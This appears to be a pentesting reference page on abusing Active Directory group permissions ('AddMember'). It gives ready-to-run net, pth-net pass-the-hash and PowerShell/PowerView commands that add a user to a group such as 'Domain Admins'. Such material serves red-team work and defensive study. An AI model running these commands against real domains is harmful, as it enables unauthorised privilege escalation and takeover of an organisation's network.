AddMember

This abuse can be carried out when controlling an object that has a GenericAll, GenericWrite, Self, AllExtendedRights or Self-Membership, over the target group.

UNIX-like

It can also be achieved from UNIX-like system with net, a tool for the administration of samba and cifs/smb clients. The pth-toolkit can also be used to run net commands with pass-the-hash.

# With net and cleartext credentials (will be prompted)
net rpc group addmem $TargetGroup $TargetUser -U $DOMAIN/$ControlledUser -S $DomainController

# With net and cleartext credentials
net rpc group addmem $TargetGroup $TargetUser -U $DOMAIN/$ControlledUser%$Password -S $DomainController

# With Pass-the-Hash
pth-net rpc group addmem $TargetGroup $TargetUser -U $DOMAIN/$ControlledUser%ffffffffffffffffffffffffffffffff:$NThash -S $DomainController

Windows

The attacker can add a user/group/computer to a group. This can be achieved with a native command line, with the Active Directory PowerShell module, or with Add-DomainGroupMember (PowerView module).

# Command line
net group 'Domain Admins' 'user' /add /domain

# Powershell: Active Directory module
Add-ADGroupMember -Identity 'Domain Admins' -Members 'user'

# Powershell: PowerSploit module
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'user'